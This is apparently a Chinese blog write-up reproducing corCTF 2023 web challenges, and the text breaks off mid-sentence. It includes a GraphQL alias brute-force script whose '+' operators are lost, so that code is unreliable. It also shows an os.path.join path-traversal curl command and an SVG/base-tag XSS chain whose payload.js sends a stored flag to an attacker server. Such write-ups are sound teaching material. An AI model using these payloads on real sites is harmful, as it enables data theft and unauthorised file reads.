corCTF2023 复现

2023-08-09 19:50:53 浏览数 (2)

force | 118 solves / 124 points

Welcome to Frogshare, the hoppiest place to share your beloved amphibians with fellow frog fanatics! But hold on to your lily pads, our admin reviews your content before its published… Please inform our admin once you shared a frog: Admin Bot

代码语言:javascript复制
import fastify from 'fastify'
import mercurius from 'mercurius'
import { randomInt } from 'crypto'
import { readFile } from 'fs/promises'

const app = fastify({
    logger: true
});
const index = await readFile('./index.html', 'utf-8');

const secret = randomInt(0, 10 ** 5); // 1 in a 100k??

let requests = 10;

setInterval(() => requests = 10, 60000);

await app.register(mercurius, {
    schema: `type Query {
        flag(pin: Int): String
    }`,
    resolvers: {
        Query: {
            flag: (_, { pin }) => {
                if (pin != secret) {
                    return 'Wrong!';
                }
                return process.env.FLAG || 'corctf{test}';
            }
        }
    },
    routes: false
});

app.get('/', (req, res) => {
    return res.header('Content-Type', 'text/html').send(index);
});

app.post('/', async (req, res) => {
    if (requests <= 0) {
        return res.send('no u')
    }
    requests --;
    return res.graphql(req.body);
});

app.listen({ host: '0.0.0.0', port: 80 });

简单审计一下,发现就是获取PIN值,但PIN值是随机生成的,无法预测。

而且蛮力爆破也不可行,setInterval(() => requests = 10, 60000);使用 setInterval 函数,每隔 60000 毫秒(即每分钟)将 requests 的值重置为 10,也就是每分钟可以处理的请求数量。

那怎么办呢,那就从GraphQL下手吧,既然不能产生大量请求,那能不能一个请求包含很多很多查询呢?

答案是可以的,GraphQL允许使用别名编写相同类型的多个查询。

那么就可以一次请求10^4个查询,这样就能满足60秒最多10次查询的限制了

代码语言:javascript复制
import requests

url = 'https://web-force-force-ec1d52a6037008bc.be.ax/'

for j in range(10):
    payload = "{"
    for i in range(10000):
        x = j * 10000   i
        payload  = f"x{x}:flag(pin:{x}),"
    payload  = "}"
    print(requests.post(url, data=payload, headers={'Content-Type':'text/plain;charset=UTF-8'}).text)

msfrognymize | 64 solves / 147 points

At CoR we care greatly about privacy (especially FizzBuzz). For this reason we anonymize any selfies before sharing them on Discord. We even encrypt the metadata using a special key!

代码语言:javascript复制
import os
import piexif
import tempfile
import uuid

from PIL import Image, ExifTags
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, hmac
from flask import Flask, request, send_file, render_template
from urllib.parse import unquote
from werkzeug.utils import secure_filename

from celery_config import celery_app
from tasks import process_image

app = Flask(__name__)

celery_app.conf.update(app.config)

UPLOAD_FOLDER = 'uploads/'
ENCRYPTION_KEY = open("/flag.txt", "rb").readline()


def hmac_sha256(data):
    h = hmac.HMAC(ENCRYPTION_KEY, hashes.SHA256(), backend=default_backend())
    h.update(data)
    return h.finalize().hex()


def encrypt_exif_data(exif_data):
    new_exif_data = {}
    for tag, value in exif_data.items():
        if tag in ExifTags.TAGS:
            tag_name = ExifTags.TAGS[tag]
            if tag_name == "Orientation":
                new_exif_data[tag] = 1
            else:
                new_exif_data[tag] = value
        else:
            new_exif_data[tag] = hmac_sha256(value)
    return new_exif_data


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        file = request.files['file']
        if file:
            try:
                img = Image.open(file)
                if img.format != "JPEG":
                    return "Please upload a valid JPEG image.", 400

                exif_data = img._getexif()
                encrypted_exif = None
                if exif_data:
                    encrypted_exif = piexif.dump(encrypt_exif_data(exif_data))
                filename = secure_filename(file.filename)
                temp_path = os.path.join(tempfile.gettempdir(), filename)
                img.save(temp_path)

                unique_id = str(uuid.uuid4())
                new_file_path = os.path.join(UPLOAD_FOLDER, f"{unique_id}.png")
                process_image.apply_async(args=[temp_path, new_file_path, encrypted_exif])

                return render_template("processing.html", image_url=f"/anonymized/{unique_id}.png")

            except Exception as e:
                return f"Error: {e}", 400

    return render_template("index.html")


@app.route('/anonymized/<image_file>')
def serve_image(image_file):
    file_path = os.path.join(UPLOAD_FOLDER, unquote(image_file))
    if ".." in file_path or not os.path.exists(file_path):
        return f"Image {file_path} cannot be found.", 404
    return send_file(file_path, mimetype='image/png')


if __name__ == '__main__':
    app.run()

/anonymized/<image_file>路由的os.path.join()函数存在绝对路径拼接漏洞,类似于[NISACTF 2022]babyupload

绝对路径拼接漏洞 os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。 然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

因此image_file经url解码后为/flag.txt时,uploads/与其路径拼接,那么uploads/ 将被删除,读取到的就是根目录下的 flag.txt 文件。

代码语言:javascript复制
curl https://msfrognymize.be.ax/anonymized/%2fflag.txt

frogshare | 33 solves / 193 points

Welcome to Frogshare, the hoppiest place to share your beloved amphibians with fellow frog fanatics! But hold on to your lily pads, our admin reviews your content before its published… Please inform our admin once you shared a frog: Admin Bot

首先有一个注册登录界面,然后可以发布自己的共享青蛙,既然给了Admin Bot,那想必是客户端漏洞了

先看看共享青蛙是如何被渲染的叭

代码语言:javascript复制
// Frog.js
import { useMemo, memo } from "react";
import "external-svg-loader";
import { Tooltip } from "react-tooltip";
import useIsMounted from "@/hooks/useIsMounted";

const Frog = memo(({ frog }) => {
    const { isMounted } = useIsMounted();

    const { name, img, creator } = frog;

    const svgProps = useMemo(() => {
        try {
            return JSON.parse(frog.svgProps);
        } catch {
            return null;
        }
    }, [frog.svgProps]);

    if (!isMounted) return null;
    return (
        <>
            <div
                className="flex flex-col bg-white p-8 rounded-xl shadow-md text-center h-[169px] w-[169px] mr-4 mb-4 relative"
                data-tooltip-id="frog-tooltip"
                data-tooltip-content={`By ${creator}`}
            >
                <div className="flex justify-center w-full h-[64px]">
                    <svg data-src={img} {...svgProps} />
                </div>
                <div className="text-lg">{name}</div>
            </div>
            <Tooltip id="frog-tooltip" />
        </>
    );
});

Frog.displayName = "Frog";

export default Frog;

这里会使用external-svg-loader将来自外部源的 SVG使用 <img>标签呈现,svg文件可控会不会存在XSS的可能呢

Note: Because SVG Loader fetches file using XHRs, it’s limited by CORS policies of the browser. So you need to ensure that correct Access-Control-Allow-Origin headers are sent with the file being served or that the files are hosted on your own domain. 注意:由于 SVG 加载程序使用 XHR 获取文件,因此它受到浏览器的 CORS 策略的限制。因此,您需要确保随要提供的文件一起发送正确的 Access-Control-Allow-Origin 标头,或者文件托管在您自己的域中

CORS需要后端应用进行配置,因此,这是一种后端跨域的配置方式,这种方式很容易理解,一个陌生的请求来访问你的服务器,自然需要进行授权。为了解决CORS问题,这里不能简单的用python -m http.server 8080托管可控 svg 文件,而可以通过 flask 的 flask-cors 解决跨域问题

代码语言:javascript复制
#!/usr/bin/env python3
from flask import Flask, send_file
from flask_cors import CORS

app = Flask(__name__)
# Access-Control-Allow-Origin: *
CORS(app)

@app.route('/payload')
def serveSvgPayload():
    svgPayloadFile = 'payload.svg'
    return send_file(svgPayloadFile)

if __name__ == '__main__':
    app.run(port=80, debug=True)

继续,那么什么样的 svg 文件才能包含并执行恶意 javascript 代码呢,这里可以参考PayloadsAllTheThings

代码语言:javascript复制
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
代码语言:javascript复制
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>

但在 external-svg-loader 的官方文档中指出

SVG format supports scripting. However, for security reasons, svg-loader will strip all JS code before injecting the SVG file. You can enable it by: SVG 格式支持脚本。但是,出于安全原因,svg-loader 将在注入 SVG 文件之前剥离所有 JS 代码。

因此第一个和第二个 payload 都无法使用,然而第二个payload里面有个有趣的东西<foreignObject></foreignObject>

<foreignObject> SVG 元素包含来自不同 XML 命名空间的元素。”。 这意味着 SVG 可以从其他命名空间加载附加标签(当然浏览器必须支持该命名空间)。 因此,可以通过 XHTML 命名空间在 SVG 中加载 HTML 标签。 通过指定 XHTML 命名空间,iframe 标记及其 srcdoc 属性再次可用。 现在,这允许在 iframe srcdoc 属性内包含一个脚本标签,该属性通过 data: 协议加载脚本。 由于通过 SVG use 标签加载的 SVG 文档被视为同源,尽管正在使用 data: 协议处理程序,但 iframe 及其 srcdoc 文档也被视为同源。

代码语言:javascript复制
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"  width="1000" height="1000">
  <foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
<iframe xmlns="http://www.w3.org/1999/xhtml" 
srcdoc="&lt;script
 src='data:text/javascript,parent.postMessage(&quot;a&quot;, &quot;*&quot;)'
&gt;&lt;/script&gt;" /></foreignObject></svg>

该解决方案仅适用于Firefox,因为Google Chrome在SVG使用标签的上下文中不支持foreignObject标签。

Note: By default, external-svg-loader will cache the fetched files for 30 days. To refresh the cache, we can provide any GET parameter. 注意:默认情况下,外部 svg 加载器会将获取的文件缓存 30 天。要刷新缓存,我们可以提供任何 GET 参数。

这样还不完整,因为该程序中还存在 CSP (内容安全策略),我们需要绕过 CSP 来执行恶意 js 代码

在自己的共享青蛙页面Ctrl U查看源码即可发现

代码语言:javascript复制
<meta http-equiv="Content-Security-Policy" content="script-src &#x27;strict-dynamic&#x27; &#x27;sha256-S6RzhGqWeVNc7x9c5lIdmBeA7qDgLp3Z3agd3eBNMA8=&#x27;  &#x27;unsafe-inline&#x27; http: https:;" slug="/"/>

也就是

代码语言:javascript复制
<meta http-equiv="Content-Security-Policy" content="script-src 'strict-dynamic' 'sha256-S6RzhGqWeVNc7x9c5lIdmBeA7qDgLp3Z3agd3eBNMA8='  'unsafe-inline' http: https:;" slug="/"/>

将CSP内容复制到CSP Evaluator里面,就可以获得两个高危发现

object-src

  • Missing object-src allows the injection of plugins which can execute JavaScript. Can you set it to ‘none’?

base-uri

  • Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to ‘none’ or ‘self’?

这里就可以滥用base-uri来执行Dangling Markup - HTML scriptless injection。

此外,如果页面使用相对路径(如 /js/app.js )加载脚本,则可以滥用基本标记使其从您自己的服务器加载脚本,从而实现XSS。 如果易受攻击的页面加载了 httpS,请在基中使用 httpS URL。

代码语言:javascript复制
<base href="https://www.attacker.com/">

在自己的共享青蛙页面F12查看元素可以发现导入了/_next/static/chunks/pages/index-3228b8a1fcea6589.js,所以我们可以通过 SVG 注入一个 <base> 标签,并让这个 JavaScript 文件从我们可控的 Web 服务器导入,有点类似dll劫持了

代码语言:javascript复制
#!/usr/bin/env python3
from flask import Flask, send_file
from flask_cors import CORS

app = Flask(__name__)

# Access-Control-Allow-Origin: *
CORS(app)

@app.route('/payload')
def serveSvgPayload():
    svgPayloadFile = 'payload.svg'
    return send_file(svgPayloadFile)

@app.route('/_next/static/chunks/pages/index-3228b8a1fcea6589.js')
def abuseBaseSrc():
    javaScriptFile = 'payload.js'
    return send_file(javaScriptFile)

if __name__ == '__main__':
    app.run(port=80, debug=True)

在 adminbot.js 里面可以看到flag的位置

代码语言:javascript复制
import secrets from './secrets';

const username = "admin";
const { flag, password } = secrets;

export default {
    id: 'frogshare',
    name: 'frogshare',
    timeout: 20000,
    handler: async (url, ctx) => {
        const page = await ctx.newPage();
        await page.goto("https://frogshare.be.ax/login", { waitUntil: 'load' });

        await page.evaluate((flag) => {
            localStorage.setItem("flag", flag);
        }, flag);

        await page.type("input[name=username]", username);
        await page.type("input[name=password]", password);
        await Promise.all([
            page.waitForNavigation(),
            page.click("input[type=submit]")
        ]);
        /* No idea why the f this is required :| */
        await page.goto("https://frogshare.be.ax/frogs?wtf=nextjs", { timeout: 5000, waitUntil: 'networkidle0' });
        await page.waitForTimeout(2000);
        await page.goto(url, { timeout: 5000, waitUntil: 'networkidle0' });
        await page.waitForTimeout(5000);
    },
}

那么 payload.js 内容为fetch('https://<your_server>/flag?c=' localStorage.getItem('flag'));

但共享青蛙页面必须刷新才能触发 JavaScript 执行,于是需要修改恶意 svg 内容,两秒后会重定向到指定恶意页面

代码语言:javascript复制
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

  <foreignObject>
    <base href="https://www.attacker.com">
    <meta http-equiv="refresh" content="2;url=https://frogshare.be.ax/frogs/59">
  </foreignObject>
</svg>

修改共享青蛙 svg 为我们恶意服务器即可从服务器日志中获取到corctf{M1nd_Th3_Pr0p_spR34d1ng_XSS_ThR34t}

参考链接:https://siunam321.github.io/ctf/corCTF-2023/web/frogshare/

crabspace | 4 solves / 436 points

Now that Twitter is

0 人点赞